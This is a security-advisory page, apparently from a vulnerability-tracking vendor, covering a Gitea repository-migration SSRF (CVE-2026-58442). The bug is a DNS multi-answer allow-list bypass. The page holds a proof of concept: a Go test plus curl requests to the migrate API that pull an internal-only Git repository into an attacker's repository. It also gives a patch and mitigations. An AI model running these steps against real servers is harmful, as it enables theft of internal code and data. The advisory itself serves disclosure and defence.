Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-58442 — gitea

MEDIUM

CVE-2026-58442 is a medium-severity (CVSS 6.5) Information Exposure vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.

Repository migration SSRF via multi-answer DNS allow-list bypass

Also known asGHSA-h2x6-g7q6-344vGO-2026-6058
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-58442.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs35th percentile — riskier than 35% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-58442 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if any resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later git clone operation resolves the hostname again outside of that validation decision, so it can connect to the internal address.

An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and import their contents into a repository controlled by the attacker.

Details

The issue is in services/migrations/migrate.go, in the migration allow/block-list check.

Current logic computes whether any resolved IP is allowed:

var ipAllowed bool
var ipBlocked bool
for _, addr := range addrList {
    ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)
    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}

Then, when an allow-list is active, the host is accepted if the hostname matches or ipAllowed is true:

if !allowList.IsEmpty() {
    if !allowList.MatchHostName(hostName) && !ipAllowed {
        return &git.ErrInvalidCloneAddr{Host: hostName, IsPermissionDenied: true}
    }
}

This means a hostname resolving to both:

  • an allowed public IP, e.g. 1.2.3.4
  • a blocked internal IP, e.g. 127.0.0.1

passes validation because the public IP sets ipAllowed = true.

The actual repository import is later performed by git clone --mirror via MigrateRepositoryGitData / gitrepo.CloneExternalRepo. That git subprocess performs its own DNS resolution and is not tied to the specific IP set that was validated earlier. If the hostname resolves, rotates, or is re-bound to the internal address at clone time, Gitea can connect to a destination the migration filter would reject if supplied directly.

The direct internal URL is correctly blocked, but the multi-answer hostname is accepted.

PoC

I verified the vulnerable predicate locally against Gitea checkout:

e8654c7e062431a521636703f47339cde64644fd

using Dockerized Go tests with golang:1.26.4.

The local test proves:

  • checkByAllowBlockList("loopback.example.test", [127.0.0.1]) is rejected.
  • checkByAllowBlockList("mixed.example.test", [1.2.3.4, 127.0.0.1]) is accepted.

Minimal reproducer at the validation layer:

func TestMigrationMultiAnswerAnyAllowed(t *testing.T) {
    old := setting.Migrations
    t.Cleanup(func() { setting.Migrations = old })

    setting.Migrations.AllowedDomains = ""
    setting.Migrations.BlockedDomains = ""
    setting.Migrations.AllowLocalNetworks = false
    require.NoError(t, Init())

    err := checkByAllowBlockList("mixed.example.test", []net.IP{
        net.ParseIP("1.2.3.4"),
        net.ParseIP("127.0.0.1"),
    })
    require.NoError(t, err, "mixed public+loopback answers should currently pass")

    err = checkByAllowBlockList("loopback.example.test", []net.IP{
        net.ParseIP("127.0.0.1"),
    })
    require.Error(t, err, "loopback-only answer should be rejected")
}

To reproduce end-to-end:

  1. Run Gitea with repository migration enabled and ALLOW_LOCALNETWORKS = false.
  2. Create a normal non-admin user that can create repositories.
  3. Run an internal Git HTTP service reachable only from the Gitea server, for example on 127.0.0.1:18082.
  4. Configure an attacker-controlled hostname so that DNS can return both a public address and 127.0.0.1, or can return a public address during Gitea's pre-flight validation and 127.0.0.1 during the later git clone.
  5. Confirm the direct internal migration is rejected:
curl -X POST http://GITEA/api/v1/repos/migrate \
  -H "Authorization: token USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://127.0.0.1:18082/repo.git",
    "repo_name": "direct-internal",
    "service": "git",
    "private": true
  }'

Expected direct result:

{"message":"You can not import from disallowed hosts."}
  1. Start a migration from the attacker-controlled multi-answer hostname:
curl -X POST http://GITEA/api/v1/repos/migrate \
  -H "Authorization: token USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://mixed.example.test:18082/repo.git",
    "repo_name": "multidns-ssrf",
    "service": "git",
    "private": true
  }'

Expected vulnerable result:

  • The migration request is accepted.
  • The git subprocess can connect to the internal address.
  • Internal repository contents are imported into the attacker's new Gitea repository.

Impact

This is a server-side request forgery in repository migration.

An authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.

Potentially impacted resources include:

  • internal Git repositories
  • localhost-only services
  • private network source-control services
  • metadata or internal infrastructure endpoints if reachable and compatible with the request path

The direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.

Suggested fix

The migration allow/block-list check should fail closed for multi-answer DNS:

  • reject if any resolved IP is blocked
  • require all resolved IPs to be allowed when an allow-list is active
  • treat an empty resolution result as not IP-allowed
  • ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and git clone

For example, instead of ipAllowed = ipAllowed || allowList.MatchIPAddr(addr), initialize ipAllowed to len(addrList) > 0 and combine with logical AND:

ipAllowed := len(addrList) > 0
ipBlocked := false
for _, addr := range addrList {
    ipAllowed = ipAllowed && allowList.MatchIPAddr(addr)
    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.27.0go get code.gitea.io/gitea@v1.27.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58442 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary Gitea's repository migration URL validation can be bypassed when a migration hostname resolves to multiple IP addresses. The validation logic accepts the destination if **any** resolved IP is allowed, even if another resolved IP is loopback, private, or otherwise blocked. The later `git clone` operation resolves the hostname again outside of that validation decision, so it can connect to the internal address. An authenticated low-privilege user who can create repository migrations can use an attacker-controlled DNS name to make Gitea connect to internal-only Git services and impo
O3 Security · Impact-Aware SCA

Is CVE-2026-58442 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-58442: gitea SSRF — Fixed in 1.27.0